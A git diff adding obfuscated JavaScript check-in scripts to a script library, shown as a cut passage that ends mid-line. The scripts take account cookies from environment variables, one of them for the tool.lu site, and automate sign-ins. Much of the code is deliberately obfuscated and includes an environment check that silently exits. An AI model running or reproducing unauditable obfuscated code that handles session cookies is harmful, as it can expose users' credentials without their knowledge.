0x4e0811a1), _0x31dc48 = _0x58d650(_0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed[_0x5babd7 + 0x4], 0x6, 0xf7537e82), _0x228782 = _0x58d650(_0x228782, _0x31dc48, _0x2c26f, _0x178212, _0x13d4ed[_0x5babd7 + 0xb], 0xa, 0xbd3af235), _0x178212 = _0x58d650(_0x178212, _0x228782, _0x31dc48, _0x2c26f, _0x13d4ed[_0x5babd7 + 0x2], 0xf, 0x2ad7d2bb), _0x2c26f = _0x58d650(_0x2c26f, _0x178212, _0x228782, _0x31dc48, _0x13d4ed[_0x5babd7 + 0x9], 0x15, 0xeb86d391), _0x31dc48 = _0x2e01ab(_0x31dc48, _0x1c6afa), _0x2c26f = _0x2e01ab(_0x2c26f, _0x4fb72f), _0x178212 = _0x2e01ab(_0x178212, _0x501cfa), _0x228782 = _0x2e01ab(_0x228782, _0x2bf2fe); + return (_0x456d58(_0x31dc48) + _0x456d58(_0x2c26f) + _0x456d58(_0x178212) + _0x456d58(_0x228782))[_0x4349d0(0x1bd)](); +} + +function _0x589c(_0x588119, _0x43d6a4) { + const _0x5e2e8f = _0x5e2e(); + return _0x589c = function(_0x589c7b, _0x262ca5) { + _0x589c7b = _0x589c7b - 0x132; + let _0x36d8c9 = _0x5e2e8f[_0x589c7b]; + return _0x36d8c9; + }, _0x589c(_0x588119, _0x43d6a4); +} +async function checkEnv() { + const _0xedd647 = _0x276aa6; + if (userCookie) { + let _0x577766 = envSplitor[0x0]; + for (let _0x142ee8 of envSplitor) + if (userCookie[_0xedd647(0x1ea)](_0x142ee8) > -0x1) { + _0x577766 = _0x142ee8; + break; + } for (let _0x3fa207 of userCookie[_0xedd647(0x1d9)](_0x577766)) _0x3fa207 && userList[_0xedd647(0x1dc)](new UserInfo(_0x3fa207)); + userCount = userList[_0xedd647(0x1b4)]; + } else console[_0xedd647(0x138)]('未找到任何账号'); + return console[_0xedd647(0x138)](_0xedd647(0x140) + userCount + _0xedd647(0x133)), !0x0; +} + +function popu(_0x5ed918, _0x49fc4f, _0x40bd6e = '') { + const _0x10194a = _0x276aa6; + _0x5ed918[_0x10194a(0x1b9)]('//', '/')['split']('/')[0x1]; + let _0x24ebcd = { + 'url': _0x5ed918, + 'headers': _0x49fc4f, + 'timeout': 0x2ee0 + }; + return _0x40bd6e && (_0x24ebcd[_0x10194a(0x1c6)] = _0x40bd6e, _0x24ebcd[_0x10194a(0x1e0)]['Content-Length'] = _0x40bd6e?.[_0x10194a(0x1b4)] || 0x0), _0x24ebcd; +} +async function httpRequest(_0x34dfd8, _0x250dfd) { + return result = null, resurq = null, resurp = null, new Promise(_0x2ff7f7 => { + const _0xc60074 = _0x589c; + $[_0xc60074(0x136)](_0x34dfd8, _0x250dfd, async (_0x45aeeb, _0x54632e, _0x5d767c) => { + const _0x201f16 = _0xc60074; + try { + if (resurq = _0x54632e, resurp = _0x5d767c, _0x45aeeb); + else { + if (_0x5d767c[_0x201f16(0x1c6)]) { + if (_0x201f16(0x17c) == typeof _0x5d767c[_0x201f16(0x1c6)]) result = _0x5d767c['body']; + else try { + result = JSON[_0x201f16(0x170)](_0x5d767c[_0x201f16(0x1c6)]); + } catch (_0x5a6891) { + result = _0x5d767c[_0x201f16(0x1c6)]; + } + } + } + } catch (_0x51c58d) { + console[_0x201f16(0x138)](_0x51c58d); + } finally { + _0x2ff7f7(); + } + }); + }); +} + +function randomszxx(_0xf17a04) { + const _0x31817e = _0x276aa6; + _0xf17a04 = _0xf17a04 || 0x20; + var _0xdf66ce = _0x31817e(0x1ca), + _0x2d9390 = _0xdf66ce[_0x31817e(0x1b4)], + _0x4062a6 = ''; + for (i = 0x0; i < _0xf17a04; i++) _0x4062a6 += _0xdf66ce[_0x31817e(0x1a0)](Math['floor'](Math['random']() * _0x2d9390)); + return _0x4062a6; +} + +function encryptrsa(_0x179487, _0x113d84) { + const _0x4e6050 = _0x276aa6; + let _0x200ffa = new NodeRSA(_0x4e6050(0x142) + _0x113d84 + '\x0a-----END\x20PUBLIC\x20KEY-----'); + _0x200ffa[_0x4e6050(0x1a1)]({ + 'encryptionScheme': 'pkcs1' + }); + let _0x16f037 = _0x200ffa[_0x4e6050(0x143)](_0x179487, _0x4e6050(0x1a3), _0x4e6050(0x173)); + return _0x16f037; +} + +function Env(_0x46c36c, _0x41a577) { + const _0x5f8ee8 = _0x276aa6; + return _0x5f8ee8(0x16b) != typeof process && JSON['stringify'](process[_0x5f8ee8(0x146)])[_0x5f8ee8(0x1ea)](_0x5f8ee8(0x156)) > -0x1 && process[_0x5f8ee8(0x134)](0x0), new class { + constructor(_0x18030a, _0x35d242) { + const _0x1180a8 = _0x5f8ee8; + this['name'] = _0x18030a, this['notifyStr'] = '', this[_0x1180a8(0x16f)] = new Date()[_0x1180a8(0x161)](), Object[_0x1180a8(0x198)](this, _0x35d242), console[_0x1180a8(0x138)](this[_0x1180a8(0x15e)] + _0x1180a8(0x1cd)); + } [_0x5f8ee8(0x1e4)]() { + const _0x360fca = _0x5f8ee8; + return _0x360fca(0x16b) != typeof module && !!module[_0x360fca(0x1c3)]; + } [_0x5f8ee8(0x13d)]() { + const _0x44d893 = _0x5f8ee8; + return _0x44d893(0x16b) != typeof $task; + } [_0x5f8ee8(0x160)]() { + const _0xe60b98 = _0x5f8ee8; + return _0xe60b98(0x16b) != typeof $httpClient && _0xe60b98(0x16b) == typeof $loon; + } ['isLoon']() { + const _0x3feb59 = _0x5f8ee8; + return _0x3feb59(0x16b) != typeof $loon; + } [_0x5f8ee8(0x14c)](_0x30670f) { + const _0x11ca1a = _0x5f8ee8; + let _0x29ec13 = this[_0x11ca1a(0x1e9)](_0x30670f); + if (/^@/ [_0x11ca1a(0x169)](_0x30670f)) { + let [, _0x4740d8, _0x356d12] = /^@(.*?)\.(.*?)$/ [_0x11ca1a(0x14a)](_0x30670f), _0xf0b2a3 = _0x4740d8 ? this[_0x11ca1a(0x1e9)](_0x4740d8) : ''; + if (_0xf0b2a3) try { + let _0x96bbe1 = JSON[_0x11ca1a(0x170)](_0xf0b2a3); + _0x29ec13 = _0x96bbe1 ? this[_0x11ca1a(0x145)](_0x96bbe1, _0x356d12, '') : _0x29ec13; + } catch (_0x21e1f7) { + _0x29ec13 = ''; + } + } + return _0x29ec13; + } ['setdata'](_0x29627b, _0x4f02e8) { + const _0x3d1ef7 = _0x5f8ee8; + let _0x466021 = !0x1; + if (/^@/ [_0x3d1ef7(0x169)](_0x4f02e8)) { + let [, _0x5f0751, _0x2f4455] = /^@(.*?)\.(.*?)$/ [_0x3d1ef7(0x14a)](_0x4f02e8), _0x14e8e6 = this['getval'](_0x5f0751); + try { + let _0x3553cf = JSON[_0x3d1ef7(0x170)](_0x5f0751 ? _0x3d1ef7(0x172) === _0x14e8e6 ? null : _0x14e8e6 || '{}' : '{}'); + this['lodash_set'](_0x3553cf, _0x2f4455, _0x29627b), _0x466021 = this[_0x3d1ef7(0x13a)](JSON[_0x3d1ef7(0x163)](_0x3553cf), _0x5f0751); + } catch (_0x10f537) { + let _0x16be12 = {}; + this['lodash_set'](_0x16be12, _0x2f4455, _0x29627b), _0x466021 = this[_0x3d1ef7(0x13a)](JSON[_0x3d1ef7(0x163)](_0x16be12), _0x5f0751); + } + } else _0x466021 = this[_0x3d1ef7(0x13a)](_0x29627b, _0x4f02e8); + return _0x466021; + } [_0x5f8ee8(0x1e9)](_0x188db6) { + const _0x43b9c6 = _0x5f8ee8; + return this[_0x43b9c6(0x160)]() || this[_0x43b9c6(0x13b)]() ? $persistentStore[_0x43b9c6(0x1d3)](_0x188db6) : this[_0x43b9c6(0x13d)]() ? $prefs[_0x43b9c6(0x1b0)](_0x188db6) : this[_0x43b9c6(0x1e4)]() ? (this[_0x43b9c6(0x1ae)] = this[_0x43b9c6(0x1e8)](), this[_0x43b9c6(0x1ae)][_0x188db6]) : this['data'] && this[_0x43b9c6(0x1ae)][_0x188db6] || null; + } [_0x5f8ee8(0x13a)](_0x5bda0b, _0x129733) { + const _0x386463 = _0x5f8ee8; + return this[_0x386463(0x160)]() || this[_0x386463(0x13b)]() ? $persistentStore['write'](_0x5bda0b, _0x129733) : this['isQuanX']() ? $prefs['setValueForKey'](_0x5bda0b, _0x129733) : this[_0x386463(0x1e4)]() ? (this[_0x386463(0x1ae)] = this[_0x386463(0x1e8)](), this[_0x386463(0x1ae)][_0x129733] = _0x5bda0b, this['writedata'](), !0x0) : this[_0x386463(0x1ae)] && this['data'][_0x129733] || null; + } [_0x5f8ee8(0x136)](_0x2e5d52, _0x33b638, _0x2f2fa1 = () => {}) { + const _0x1dd914 = _0x5f8ee8; + if ('get' != _0x2e5d52 && _0x1dd914(0x17f) != _0x2e5d52 && _0x1dd914(0x167) != _0x2e5d52 && _0x1dd914(0x17a) != _0x2e5d52) { + console[_0x1dd914(0x138)](_0x1dd914(0x1a9) + _0x2e5d52); + return; + } + if (_0x1dd914(0x1e5) == _0x2e5d52 && _0x33b638['headers'] ? (delete _0x33b638['headers'][_0x1dd914(0x196)], delete _0x33b638[_0x1dd914(0x1e0)][_0x1dd914(0x14f)]) : _0x33b638[_0x1dd914(0x1c6)] && _0x33b638[_0x1dd914(0x1e0)] && (_0x33b638[_0x1dd914(0x1e0)][_0x1dd914(0x196)] || (_0x33b638['headers']['Content-Type'] = _0x1dd914(0x18c))), this['isSurge']() || this[_0x1dd914(0x13b)]()) { + this[_0x1dd914(0x160)]() && this[_0x1dd914(0x193)] && (_0x33b638['headers'] = _0x33b638[_0x1dd914(0x1e0)] || {}, Object[_0x1dd914(0x198)](_0x33b638[_0x1dd914(0x1e0)], { + 'X-Surge-Skip-Scripting': !0x1 + })); + let _0x326c98 = { + 'method': _0x2e5d52, + 'url': _0x33b638[_0x1dd914(0x1c7)], + 'headers': _0x33b638[_0x1dd914(0x1e0)], + 'timeout': _0x33b638[_0x1dd914(0x19a)], + 'data': _0x33b638['body'] + }; + _0x1dd914(0x1e5) == _0x2e5d52 && delete _0x326c98['data'], $axios(_0x326c98)[_0x1dd914(0x1e3)](_0x4b7919 => { + let { + status: _0x3c929a, + request: _0x445f75, + headers: _0x5574b1, + data: _0x1c1c94 + } = _0x4b7919; + _0x2f2fa1(null, _0x445f75, { + 'statusCode': _0x3c929a, + 'headers': _0x5574b1, + 'body': _0x1c1c94 + }); + })[_0x1dd914(0x1b5)](_0x4b49b2 => console['log'](_0x4b49b2)); + } else { + if (this['isQuanX']()) _0x33b638['method'] = _0x2e5d52[_0x1dd914(0x13c)](), this[_0x1dd914(0x193)] && (_0x33b638['opts'] = _0x33b638[_0x1dd914(0x188)] || {}, Object[_0x1dd914(0x198)](_0x33b638[_0x1dd914(0x188)], { + 'hints': !0x1 + })), $task['fetch'](_0x33b638)[_0x1dd914(0x1e3)](_0x4f5f93 => { + let { + statusCode: _0x14b781, + request: _0x339510, + headers: _0x2cdd8e, + body: _0x2eb300 + } = _0x4f5f93; + _0x2f2fa1(null, _0x339510, { + 'statusCode': _0x14b781, + 'headers': _0x2cdd8e, + 'body': _0x2eb300 + }); + }, _0xb10380 => _0x2f2fa1(_0xb10380)); + else { + if (this[_0x1dd914(0x1e4)]()) { + this['got'] = this[_0x1dd914(0x1bf)] ? this['got'] : require('got'); + let { + url: _0xf0d49d, + ..._0x59da42 + } = _0x33b638; + this[_0x1dd914(0x1a6)] = this[_0x1dd914(0x1bf)][_0x1dd914(0x153)]({ + 'followRedirect': !0x1 + }), this[_0x1dd914(0x1a6)][_0x2e5d52](_0xf0d49d, _0x59da42)[_0x1dd914(0x1e3)](_0x544a74 => { + let { + statusCode: _0x554e19, + request: _0x25b2b3, + headers: _0x17e3d9, + body: _0x50ed87 + } = _0x544a74; + _0x2f2fa1(null, _0x25b2b3, { + 'statusCode': _0x554e19, + 'headers': _0x17e3d9, + 'body': _0x50ed87 + }); + }, _0x52149b => { + const _0x4a424c = _0x1dd914; + let { + message: _0x4332e0, + response: _0xe8a950 + } = _0x52149b; + _0x2f2fa1(_0x4332e0, _0xe8a950, _0xe8a950 && _0xe8a950[_0x4a424c(0x1c6)]); + }); + } + } + } + } [_0x5f8ee8(0x164)](_0x25da47) { + const _0x7ff6cd = _0x5f8ee8; + let _0x4114a2 = { + 'M+': new Date()[_0x7ff6cd(0x1da)]() + 0x1, + 'd+': new Date()[_0x7ff6cd(0x165)](), + 'h+': new Date()[_0x7ff6cd(0x19e)](), + 'm+': new Date()[_0x7ff6cd(0x1ad)](), + 's+': new Date()[_0x7ff6cd(0x1be)](), + 'q+': Math[_0x7ff6cd(0x189)]((new Date()[_0x7ff6cd(0x1da)]() + 0x3) / 0x3), + 'S': new Date()[_0x7ff6cd(0x14b)]() + }; + for (let _0x5dd59f in (/(y+)/ [_0x7ff6cd(0x169)](_0x25da47) && (_0x25da47 = _0x25da47[_0x7ff6cd(0x1b9)](RegExp['$1'], (new Date()[_0x7ff6cd(0x14e)]() + '')[_0x7ff6cd(0x159)](0x4 - RegExp['$1']['length']))), _0x4114a2)) RegExp('(' + _0x5dd59f + ')')[_0x7ff6cd(0x169)](_0x25da47) && (_0x25da47 = _0x25da47['replace'](RegExp['$1'], 0x1 == RegExp['$1'][_0x7ff6cd(0x1b4)] ? _0x4114a2[_0x5dd59f] : ('00' + _0x4114a2[_0x5dd59f])['substr'](('' + _0x4114a2[_0x5dd59f])[_0x7ff6cd(0x1b4)]))); + return _0x25da47; + } + async [_0x5f8ee8(0x1b1)]() { + const _0x36a0e3 = _0x5f8ee8; + if (!this[_0x36a0e3(0x1c5)]) return; + let _0x1dc772 = this[_0x36a0e3(0x15e)] + '\x20运行通知\x0a\x0a' + this[_0x36a0e3(0x1c5)]; + if ($[_0x36a0e3(0x1e4)]()) { + var _0x11959b = require(_0x36a0e3(0x135)); + console[_0x36a0e3(0x138)](_0x36a0e3(0x158)), await _0x11959b[_0x36a0e3(0x181)](this[_0x36a0e3(0x15e)], _0x1dc772); + } else this[_0x36a0e3(0x19c)](_0x1dc772); + } [_0x5f8ee8(0x19f)](_0x12e1f9) { + const _0x4ccba0 = _0x5f8ee8; + console[_0x4ccba0(0x138)](_0x12e1f9), this['notifyStr'] += _0x12e1f9, this[_0x4ccba0(0x1c5)] += '\x0a'; + } ['msg'](_0x3785a5 = t, _0x115ac5 = '', _0x355803 = '', _0x3c63ec) { + const _0x37e445 = _0x5f8ee8; + let _0x253d78 = _0xe04807 => { + const _0x1e9960 = _0x589c; + if (!_0xe04807) return _0xe04807; + if (_0x1e9960(0x1cc) == typeof _0xe04807) return this[_0x1e9960(0x13b)]() ? _0xe04807 : this['isQuanX']() ? { + 'open-url': _0xe04807 + } : this[_0x1e9960(0x160)]() ? { + 'url': _0xe04807 + } : void 0x0; + if (_0x1e9960(0x17c) == typeof _0xe04807) { + if (this[_0x1e9960(0x13b)]()) { + let _0x3b14ac; + return { + 'openUrl': _0xe04807[_0x1e9960(0x1e2)] || _0xe04807[_0x1e9960(0x1c7)] || _0xe04807[_0x1e9960(0x1e7)], + 'mediaUrl': _0xe04807[_0x1e9960(0x1b7)] || _0xe04807[_0x1e9960(0x1c4)] + }; + } + if (this['isQuanX']()) { + let _0x212805; + return { + 'open-url': _0xe04807[_0x1e9960(0x1e7)] || _0xe04807['url'] || _0xe04807[_0x1e9960(0x1e2)], + 'media-url': _0xe04807['media-url'] || _0xe04807[_0x1e9960(0x1b7)] + }; + } + if (this[_0x1e9960(0x160)]()) return { + 'url': _0xe04807['url'] || _0xe04807[_0x1e9960(0x1e2)] || _0xe04807[_0x1e9960(0x1e7)] + }; + } + }; + this[_0x37e445(0x18f)] || (this[_0x37e445(0x160)]() || this[_0x37e445(0x13b)]() ? $notification['post'](_0x3785a5, _0x115ac5, _0x355803, _0x253d78(_0x3c63ec)) : this[_0x37e445(0x13d)]() && $notify(_0x3785a5, _0x115ac5, _0x355803, _0x253d78(_0x3c63ec))); + let _0x560852 = ['', _0x37e445(0x17e)]; + _0x560852['push'](_0x3785a5), _0x115ac5 && _0x560852['push'](_0x115ac5), _0x355803 && _0x560852[_0x37e445(0x1dc)](_0x355803), console['log'](_0x560852[_0x37e445(0x190)]('\x0a')); + } [_0x5f8ee8(0x1d6)](_0x459715, _0x38c749) { + return _0x459715 < _0x38c749 ? _0x459715 : _0x38c749; + } [_0x5f8ee8(0x147)](_0x16c08b, _0x318c93) { + return _0x16c08b < _0x318c93 ? _0x318c93 : _0x16c08b; + } [_0x5f8ee8(0x1ba)](_0x5452f9, _0xeb7a1d, _0x3abe82 = '0') { + const _0x214722 = _0x5f8ee8; + let _0x32bc2e = String(_0x5452f9), + _0x1173a0 = _0xeb7a1d > _0x32bc2e[_0x214722(0x1b4)] ? _0xeb7a1d - _0x32bc2e[_0x214722(0x1b4)] : 0x0, + _0x5e18e9 = ''; + for (let _0x5908bd = 0x0; _0x5908bd < _0x1173a0; _0x5908bd++) _0x5e18e9 += _0x3abe82; + return _0x5e18e9 + _0x32bc2e; + } [_0x5f8ee8(0x1c8)](_0x5cee0e, _0x2b15e2, _0x96bc01 = !0x1) { + const _0x1250f1 = _0x5f8ee8; + let _0x362460 = []; + for (let _0x53334e of Object[_0x1250f1(0x1a2)](_0x5cee0e)['sort']()) { + let _0x4ea9c5 = _0x5cee0e[_0x53334e]; + _0x4ea9c5 && _0x96bc01 && (_0x4ea9c5 = encodeURIComponent(_0x4ea9c5)), _0x362460[_0x1250f1(0x1dc)](_0x53334e + '=' + _0x4ea9c5); + } + return _0x362460[_0x1250f1(0x190)](_0x2b15e2); + } ['str2json'](_0x4a48dd, _0x579695 = !0x1) { + const _0x3c2a1d = _0x5f8ee8; + let _0x156836 = {}; + for (let _0x178f7d of _0x4a48dd[_0x3c2a1d(0x1d9)]('#')) { + if (!_0x178f7d) continue; + let _0x1b87e7 = _0x178f7d[_0x3c2a1d(0x1ea)]('='); + if (-0x1 == _0x1b87e7) continue; + let _0x5684a3 = _0x178f7d['substr'](0x0, _0x1b87e7), + _0x19509e = _0x178f7d['substr'](_0x1b87e7 + 0x1); + _0x579695 && (_0x19509e = decodeURIComponent(_0x19509e)), _0x156836[_0x5684a3] = _0x19509e; + } + return _0x156836; + } [_0x5f8ee8(0x1d5)](_0x3541f5, _0x2e69b6 = _0x5f8ee8(0x1ab)) { + const _0x2f4f9d = _0x5f8ee8; + let _0x3d21c6 = ''; + for (let _0x1aa951 = 0x0; _0x1aa951 < _0x3541f5; _0x1aa951++) _0x3d21c6 += _0x2e69b6[_0x2f4f9d(0x1a0)](Math[_0x2f4f9d(0x189)](Math[_0x2f4f9d(0x177)]() * _0x2e69b6[_0x2f4f9d(0x1b4)])); + return _0x3d21c6; + } [_0x5f8ee8(0x1af)](_0x5931ca) { + const _0x281531 = _0x5f8ee8; + return _0x5931ca[Math[_0x281531(0x189)](Math[_0x281531(0x177)]() * _0x5931ca[_0x281531(0x1b4)])]; + } [_0x5f8ee8(0x15a)](_0x3f3c5c) { + return new Promise(_0x33bc32 => setTimeout(_0x33bc32, _0x3f3c5c)); + } [_0x5f8ee8(0x149)](_0x3d7f38 = {}) { + const _0x11e36d = _0x5f8ee8; + let _0xff2aad = (new Date()[_0x11e36d(0x161)]() - this[_0x11e36d(0x16f)]) / 0x3e8; + console[_0x11e36d(0x138)]('\x0a' + this['name'] + _0x11e36d(0x1e1) + _0xff2aad + _0x11e36d(0x18d)), (this[_0x11e36d(0x160)]() || this[_0x11e36d(0x13d)]() || this['isLoon']()) && $done(_0x3d7f38); + } + }(_0x46c36c, _0x41a577); +} diff --git a/脚本库/web版/账密/在线工具/2025-08-25_ql_toollu_49df7a6e.js b/脚本库/web版/账密/在线工具/2025-08-25_ql_toollu_49df7a6e.js new file mode 100644 index 0000000..1c74565 --- /dev/null +++ b/脚本库/web版/账密/在线工具/2025-08-25_ql_toollu_49df7a6e.js @@ -0,0 +1,535 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/ql_toollu.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_toollu.js +// # Repo: imoki/sign_script +// # Path: polymerization/ql_toollu.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 49df7a6e4966974c9250cc595daab349be2c1ef5354eb207a78e582d44c03360 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "在线工具" + cron: 45 30 13 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0), 青龙 + 更新时间:20241226 + 环境变量名:toollu + 环境变量值:填写cookie + 备注:需要Cookie。浏览器访问在线工具箱,F12 -> NetWork(中文名叫"网络") -> 按一下Ctrl+R -> tool.lu -> cookie + 在线工具网址:https://tool.lu +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "toollu"; // 分配置表名称 +var pushHeader = "【在线工具】"; +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var 